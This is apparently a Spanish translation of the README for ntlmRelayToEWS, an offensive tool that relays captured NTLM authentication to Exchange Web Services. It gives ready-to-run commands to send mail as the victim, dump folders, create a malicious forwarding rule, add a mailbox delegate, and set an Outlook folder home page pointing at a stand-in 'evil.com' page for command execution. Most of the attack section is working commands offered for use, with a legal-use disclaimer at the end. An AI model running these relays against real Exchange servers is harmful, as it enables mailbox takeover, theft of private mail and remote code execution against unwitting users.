
ataque de retransmisión NTLM a Exchange Web Services
Autor: Arno0x0x - @Arno0x0x
ntlmRelayToEWS es una herramienta para realizar ataques de retransmisión NTLM en Exchange Web Services (EWS). Inicia un SMBListener en el puerto 445 y un HTTPListener en el puerto 80, esperando la conexión entrante de la víctima. Una vez que la víctima se conecta a uno de los listeners, se produce una negociación NTLM que se retransmite al servidor EWS objetivo.
Obviamente, esta herramienta NO implementa toda la API de EWS, por lo que solo se implementan un puñado de servicios que pueden ser útiles en algunos escenarios de ataque. Quizás agregue más en el futuro. Consulte la sección de 'uso' para hacerse una idea de qué llamadas EWS están implementadas.
Versión de Exchange:
He probado esta herramienta solo contra un Exchange Server 2010 SP2 (que es bastante antiguo, ciertamente), por lo que todas las plantillas de solicitudes SOAP de EWS, así como el análisis de las respuestas EWS, solo se han probado para esta versión de Exchange.
Aunque no lo he probado personalmente, algunos han informado que esta herramienta también funciona contra un servidor Exchange 2016, sin modificaciones (es decir, sin cambios en las plantillas de solicitudes SOAP).
En caso de que esas solicitudes SOAP no funcionen en otra versión de Exchange, es bastante fácil crear las plantillas de solicitudes SOAP para que coincidan con una versión más reciente utilizando la API administrada de EWS de Microsoft en modo de seguimiento y capturar las solicitudes SOAP adecuadas (¡así lo hice yo!).
Cliente SOAP de EWS:
Me hubiera encantado usar un cliente SOAP para obtener una interfaz adecuada que creara automáticamente todas las solicitudes SOAP basadas en el WSDL de Exchange. Intenté usar 'zeep', pero me di contra la pared para hacerlo funcionar con el WSDL de Exchange, ya que requiere descargar espacios de nombres externos y, por lo tanto, una conexión a Internet. Además, con 'zeep', el uso de una sesión de transporte personalizada requiere un Requests.session que no es el tipo de sesión HTTP(S) que tenemos por defecto con el HTTPClientRelay: habría requerido refactorizar el HTTPClientRelay para usar 'Requests' (/yo vago) o simplemente hacer que zeep cree los mensajes con zeep.client.create_message() y luego enviarlos con la sesión retransmitida que ya tenemos. ¿O será porque soy un desarrollador torpe? oh bueno...
ntlmRelayToEWS requiere una instalación adecuada/limpia de Impacket. Por lo tanto, siga sus instrucciones para obtener una versión funcional de Impacket.
ntlmRelayToEWS implementa los siguientes ataques, todos realizados en nombre del usuario retransmitido (víctima).
Consulte la ayuda para obtener información adicional: ./ntlmRelayToEWS -h. Obtenga más información de depuración usando la bandera --verbose o -v.
sendMail
Envía un correo electrónico con formato HTML a una lista de destinatarios:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "[email protected],[email protected]" -s Subject -m sampleMsg.html
getFolder
Recupera todos los elementos de una carpeta predefinida (inbox, sent items, calendar, tasks):
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox
forwardRule
Crea una regla de reenvío maliciosa que reenvía todos los mensajes entrantes de la víctima a otra dirección de correo electrónico:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d [email protected]
setHomePage
Define una página de inicio de carpeta (generalmente para la carpeta Inbox) especificando una URL. Esta técnica, descubierta por SensePost/Etienne Stalmans, permite la ejecución arbitraria de comandos en el programa Outlook de la víctima mediante la falsificación de una página HTML específica: Outlook Home Page – Another Ruler Vector:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html
addDelegate
Establece una dirección de delegado en el buzón principal de la víctima. En otras palabras, la víctima delega el control de su buzón a otra persona. Una vez hecho, significa que la dirección delegada tiene control total sobre el buzón de la víctima, simplemente abriéndolo como un buzón adicional en Outlook:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d [email protected]
Para que la víctima envíe sus credenciales a ntlmRelayToEWS, puede usar cualquiera de los siguientes métodos bien conocidos:
Invoke-SendEmail.ps1 para lograrlo.Basado en Impacket y ntlmrelayx de Alberto Solino @agsolino.
Esta herramienta está destinada a ser utilizada solo de manera legal y legítima:
Citando a los autores de Empire: No hay manera de construir herramientas ofensivas útiles para la industria de seguridad de la información legítima mientras se impide simultáneamente que actores maliciosos las abusen.